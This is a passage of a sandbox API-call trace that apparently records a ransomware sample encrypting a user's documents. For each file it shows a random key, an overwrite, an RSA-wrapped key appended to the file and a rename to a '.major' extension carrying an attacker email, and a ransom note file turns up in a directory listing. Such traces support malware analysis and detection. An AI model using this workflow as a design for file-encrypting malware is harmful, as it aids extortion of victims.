returned 0x5cd9e8 [0169.890] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x657078 [0169.891] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0169.891] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\SpY7Gp\\4edlql\\DgvRmO.ods", dwFileAttributes=0x80) returned 1 [0169.891] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x58ec80 [0169.891] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x5d25e0 [0169.891] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ec80 | out: hHeap=0x570000) returned 1 [0169.891] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\SpY7Gp\\4edlql\\DgvRmO.ods" (normalized: "c:\\users\\fd1hvy\\documents\\spy7gp\\4edlql\\dgvrmo.ods"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7a4 [0169.891] GetFileSizeEx (in: hFile=0x7a4, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=100969) returned 1 [0169.891] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x18a69) returned 0x2ea0f38 [0169.891] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x18a69) returned 0x2eb99b0 [0169.891] ReadFile (in: hFile=0x7a4, lpBuffer=0x2ea0f38, nNumberOfBytesToRead=0x18a69, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0f38*, lpNumberOfBytesRead=0x2e3f9b4*=0x18a69, lpOverlapped=0x0) returned 1 [0169.894] SetFilePointer (in: hFile=0x7a4, lDistanceToMove=-100969, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0169.894] WriteFile (in: hFile=0x7a4, lpBuffer=0x2eb99b0*, nNumberOfBytesToWrite=0x18a69, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2eb99b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x18a69, lpOverlapped=0x0) returned 1 [0169.895] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ea0f38 | out: hHeap=0x570000) returned 1 [0169.895] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2eb99b0 | out: hHeap=0x570000) returned 1 [0169.895] SetFilePointer (in: hFile=0x7a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x18a69 [0169.895] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0169.895] WriteFile (in: hFile=0x7a4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0169.895] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0169.895] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0169.896] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0169.896] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0169.896] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="gqlEgPFxde0L3rNkcq3K5cambxHFz5uC2xcjhQ5w6Y9DUxeA3oU3shMQz8G7/ISa\n9VCJ80r9lL2q9q0KiiceLt+ztzF9d3oP4o4XsCWZWoxZb6veIdcJuBA5V8nAO8GL\nY25e1vNKHWSL/fKjdjDghAGjFxltw12D7XgQFrRJkHy8V1urgVbuaVFNQ12/efBx\nNNcQonfSxWiPgcx1ZcZEp+MHv96PkfZMJJmc6xf6plMZyFEoX3X40mN4HKNmXyQQ\nGipt5Nqo5vuAp26cG+ufy3Npz+Y5VxgoVvdQg6c/L3REjj/Ep/P7cXuykA5h2mxf\n9cacGhrVwbe0L6M/r/27Ig==\n", pcchString=0x2e3f9a8) returned 1 [0169.896] WriteFile (in: hFile=0x7a4, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0169.896] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0169.896] WriteFile (in: hFile=0x7a4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0169.896] CloseHandle (hObject=0x7a4) returned 1 [0169.896] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0169.896] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Documents\\SpY7Gp\\4edlql\\DgvRmO.ods" (normalized: "c:\\users\\fd1hvy\\documents\\spy7gp\\4edlql\\dgvrmo.ods"), lpNewFileName="\\Users\\FD1HVy\\Documents\\SpY7Gp\\4edlql\\DgvRmO.ods.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\documents\\spy7gp\\4edlql\\dgvrmo.ods.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0169.898] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d25e0 | out: hHeap=0x570000) returned 1 [0169.898] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x657078 | out: hHeap=0x570000) returned 1 [0169.898] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cd9e8 | out: hHeap=0x570000) returned 1 [0169.898] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cd808 | out: hHeap=0x570000) returned 1 [0169.898] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cd808 [0169.898] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656e48 [0169.898] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0169.898] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\SpY7Gp\\4edlql\\CeUoeOLc0.pps", dwFileAttributes=0x80) returned 1 [0169.898] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cd9e8 [0169.898] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0408 [0169.898] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cd9e8 | out: hHeap=0x570000) returned 1 [0169.898] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\SpY7Gp\\4edlql\\CeUoeOLc0.pps" (normalized: "c:\\users\\fd1hvy\\documents\\spy7gp\\4edlql\\ceuoeolc0.pps"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7a4 [0169.898] GetFileSizeEx (in: hFile=0x7a4, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=27771) returned 1 [0169.898] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x6c7b) returned 0x6590d8 [0169.898] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x6c7b) returned 0x65fd60 [0169.898] ReadFile (in: hFile=0x7a4, lpBuffer=0x6590d8, nNumberOfBytesToRead=0x6c7b, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6590d8*, lpNumberOfBytesRead=0x2e3f9b4*=0x6c7b, lpOverlapped=0x0) returned 1 [0169.899] SetFilePointer (in: hFile=0x7a4, lDistanceToMove=-27771, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0169.899] WriteFile (in: hFile=0x7a4, lpBuffer=0x65fd60*, nNumberOfBytesToWrite=0x6c7b, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x65fd60*, lpNumberOfBytesWritten=0x2e3f9b4*=0x6c7b, lpOverlapped=0x0) returned 1 [0169.900] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6590d8 | out: hHeap=0x570000) returned 1 [0169.900] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x65fd60 | out: hHeap=0x570000) returned 1 [0169.900] SetFilePointer (in: hFile=0x7a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x6c7b [0169.900] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0169.900] WriteFile (in: hFile=0x7a4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0169.900] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0169.900] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0169.900] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0169.900] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0169.900] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="wpI09urHV+OxMap22jFuJn9c8AT8cq0x9XhITgkzJcfRu1eXw3vurZEMXqDLwL7u\n/z1bSbgQQcbqyVpLFj///JXIOWNL664o9bQgDjUwV+jdESH3PTC3r9cMHLnS719u\nvLPWsqfuC86ryyFC95tXU6JDfIBIRsiLJsWneEo4lmPNpolgBKdyq8xturBkx/Id\nBmX5BnTrcKViultuCS1RW3fffldkj58zdGGb4JSZORDsBRpM1eZO/F7uuimafkUF\nw5IdUD8XemzRd1b60cHYFvargZ8CXS1gh8WgNMLDS5rsEw6ol0cxu8zBPnOoA92M\njwsJl8NNEPjK/2NLKhVrlQ==\n", pcchString=0x2e3f9a8) returned 1 [0169.900] WriteFile (in: hFile=0x7a4, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0169.900] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0169.900] WriteFile (in: hFile=0x7a4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0169.900] CloseHandle (hObject=0x7a4) returned 1 [0169.900] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0169.900] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Documents\\SpY7Gp\\4edlql\\CeUoeOLc0.pps" (normalized: "c:\\users\\fd1hvy\\documents\\spy7gp\\4edlql\\ceuoeolc0.pps"), lpNewFileName="\\Users\\FD1HVy\\Documents\\SpY7Gp\\4edlql\\CeUoeOLc0.pps.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\documents\\spy7gp\\4edlql\\ceuoeolc0.pps.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0169.904] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0408 | out: hHeap=0x570000) returned 1 [0169.904] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656e48 | out: hHeap=0x570000) returned 1 [0169.904] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cd808 | out: hHeap=0x570000) returned 1 [0169.904] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdc40 | out: hHeap=0x570000) returned 1 [0169.904] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cd808 [0169.904] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5beb00 | out: hHeap=0x570000) returned 1 [0169.904] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdbc8 | out: hHeap=0x570000) returned 1 [0169.904] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1158 | out: hHeap=0x570000) returned 1 [0169.904] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\Documents\\SpY7Gp\\Dqh2Lyx5DPbcADWmSj\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18bff6e0, ftCreationTime.dwHighDateTime=0x1d4cf64, ftLastAccessTime.dwLowDateTime=0xa9a388b0, ftLastAccessTime.dwHighDateTime=0x1d4c605, ftLastWriteTime.dwLowDateTime=0x1c7b9dcc, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x653ae0 [0169.905] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6ca0 | out: hHeap=0x570000) returned 1 [0169.905] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0169.905] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0169.905] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0169.905] GetLastError () returned 0x0 [0169.905] SetLastError (dwErrCode=0x0) [0169.905] GetLastError () returned 0x0 [0169.905] SetLastError (dwErrCode=0x0) [0169.905] GetLastError () returned 0x0 [0169.905] SetLastError (dwErrCode=0x0) [0169.905] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0169.905] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be948 [0169.905] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be948 | out: hHeap=0x570000) returned 1 [0169.905] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x657078 [0169.905] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x653be0 [0169.905] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x653be0 | out: hHeap=0x570000) returned 1 [0169.905] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40558 [0169.905] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40558 | out: hHeap=0x570000) returned 1 [0169.905] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x657078 | out: hHeap=0x570000) returned 1 [0169.905] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0169.905] FindNextFileW (in: hFindFile=0x653ae0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18bff6e0, ftCreationTime.dwHighDateTime=0x1d4cf64, ftLastAccessTime.dwLowDateTime=0xa9a388b0, ftLastAccessTime.dwHighDateTime=0x1d4c605, ftLastWriteTime.dwLowDateTime=0x1c7b9dcc, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0169.905] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0169.905] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0169.905] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0169.905] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0169.905] GetLastError () returned 0x0 [0169.905] SetLastError (dwErrCode=0x0) [0169.905] GetLastError () returned 0x0 [0169.905] SetLastError (dwErrCode=0x0) [0169.905] GetLastError () returned 0x0 [0169.905] SetLastError (dwErrCode=0x0) [0169.905] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40f0 [0169.905] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be580 [0169.906] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be580 | out: hHeap=0x570000) returned 1 [0169.906] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x657028 [0169.906] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x653c60 [0169.906] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x653c60 | out: hHeap=0x570000) returned 1 [0169.906] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e403c0 [0169.906] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e403c0 | out: hHeap=0x570000) returned 1 [0169.906] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x657028 | out: hHeap=0x570000) returned 1 [0169.906] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40f0 | out: hHeap=0x570000) returned 1 [0169.906] FindNextFileW (in: hFindFile=0x653ae0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99f1d580, ftCreationTime.dwHighDateTime=0x1d4c8ac, ftLastAccessTime.dwLowDateTime=0xc4a6c470, ftLastAccessTime.dwHighDateTime=0x1d4c5f5, ftLastWriteTime.dwLowDateTime=0xc4a6c470, ftLastWriteTime.dwHighDateTime=0x1d4c5f5, nFileSizeHigh=0x0, nFileSizeLow=0x2688, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="jN1YxH.pptx", cAlternateFileName="JN1YXH~1.PPT")) returned 1 [0169.906] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0169.906] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4778 [0169.906] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0169.906] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4778 | out: hHeap=0x570000) returned 1 [0169.906] GetLastError () returned 0x0 [0169.906] SetLastError (dwErrCode=0x0) [0169.906] GetLastError () returned 0x0 [0169.906] SetLastError (dwErrCode=0x0) [0169.906] GetLastError () returned 0x0 [0169.906] SetLastError (dwErrCode=0x0) [0169.906] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656fd8 [0169.906] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656fd8 | out: hHeap=0x570000) returned 1 [0169.906] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6b08 [0169.906] FindNextFileW (in: hFindFile=0x653ae0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bbf3fb0, ftCreationTime.dwHighDateTime=0x1d4ca79, ftLastAccessTime.dwLowDateTime=0x57b3c8e0, ftLastAccessTime.dwHighDateTime=0x1d4c96f, ftLastWriteTime.dwLowDateTime=0x57b3c8e0, ftLastWriteTime.dwHighDateTime=0x1d4c96f, nFileSizeHigh=0x0, nFileSizeLow=0x1682, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Qaoy3PLuKp5zNT4kl1.xlsx", cAlternateFileName="QAOY3P~1.XLS")) returned 1 [0169.906] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0169.906] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a46a0 [0169.906] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7168 [0169.906] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0169.906] GetLastError () returned 0x0 [0169.906] SetLastError (dwErrCode=0x0) [0169.906] GetLastError () returned 0x0 [0169.906] SetLastError (dwErrCode=0x0) [0169.906] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0278 [0169.906] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7168 | out: hHeap=0x570000) returned 1 [0169.906] GetLastError () returned 0x0 [0169.906] SetLastError (dwErrCode=0x0) [0169.906] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0169.907] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0169.907] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x655a38 [0169.907] FindNextFileW (in: hFindFile=0x653ae0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c7b9dcc, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x1c7b9dcc, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x1c7b9dcc, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0169.907] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0278 | out: hHeap=0x570000) returned 1 [0169.907] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4808 [0169.907] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6f48 [0169.907] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4808 | out: hHeap=0x570000) returned 1 [0169.907] GetLastError () returned 0x0 [0169.907] SetLastError (dwErrCode=0x0) [0169.907] GetLastError () returned 0x0 [0169.907] SetLastError (dwErrCode=0x0) [0169.907] GetLastError () returned 0x0 [0169.907] SetLastError (dwErrCode=0x0) [0169.907] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656f88 [0169.907] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656f88 | out: hHeap=0x570000) returned 1 [0169.907] FindNextFileW (in: hFindFile=0x653ae0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4e16f10, ftCreationTime.dwHighDateTime=0x1d4d5ca, ftLastAccessTime.dwLowDateTime=0xa508c2e0, ftLastAccessTime.dwHighDateTime=0x1d4cb3f, ftLastWriteTime.dwLowDateTime=0xa508c2e0, ftLastWriteTime.dwHighDateTime=0x1d4cb3f, nFileSizeHigh=0x0, nFileSizeLow=0x377a, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="wq8ly3t8xnqt.docx", cAlternateFileName="WQ8LY3~1.DOC")) returned 1 [0169.907] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6f48 | out: hHeap=0x570000) returned 1 [0169.907] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a46a0 [0169.907] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b71f0 [0169.907] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0169.907] GetLastError () returned 0x0 [0169.907] SetLastError (dwErrCode=0x0) [0169.907] GetLastError () returned 0x0 [0169.907] SetLastError (dwErrCode=0x0) [0169.907] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0020 [0169.907] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b71f0 | out: hHeap=0x570000) returned 1 [0169.907] GetLastError () returned 0x0 [0169.907] SetLastError (dwErrCode=0x0) [0169.907] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0169.907] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0169.907] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x652f58 [0169.907] FindNextFileW (in: hFindFile=0x653ae0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7787820, ftCreationTime.dwHighDateTime=0x1d4ca81, ftLastAccessTime.dwLowDateTime=0x3ffe0bb0, ftLastAccessTime.dwHighDateTime=0x1d4c8d5, ftLastWriteTime.dwLowDateTime=0x3ffe0bb0, ftLastWriteTime.dwHighDateTime=0x1d4c8d5, nFileSizeHigh=0x0, nFileSizeLow=0xb8b6, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="zeqEV5.odp", cAlternateFileName="")) returned 1 [0169.907] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0020 | out: hHeap=0x570000) returned 1 [0169.908] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4778 [0169.908] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6ca0 [0169.908] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4778 | out: hHeap=0x570000) returned 1 [0169.908] GetLastError () returned 0x0 [0169.908] SetLastError (dwErrCode=0x0) [0169.908] GetLastError () returned 0x0 [0169.908] SetLastError (dwErrCode=0x0) [0169.908] GetLastError () returned 0x0 [0169.908] SetLastError (dwErrCode=0x0) [0169.908] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656e48 [0169.908] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656e48 | out: hHeap=0x570000) returned 1 [0169.908] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0169.908] FindNextFileW (in: hFindFile=0x653ae0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x619e0680, ftCreationTime.dwHighDateTime=0x1d4d22b, ftLastAccessTime.dwLowDateTime=0x55afc010, ftLastAccessTime.dwHighDateTime=0x1d4d376, ftLastWriteTime.dwLowDateTime=0x55afc010, ftLastWriteTime.dwHighDateTime=0x1d4d376, nFileSizeHigh=0x0, nFileSizeLow=0x8b9f, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="ZGo1M570u-.xlsx", cAlternateFileName="ZGO1M5~1.XLS")) returned 1 [0169.908] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6ca0 | out: hHeap=0x570000) returned 1 [0169.908] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, 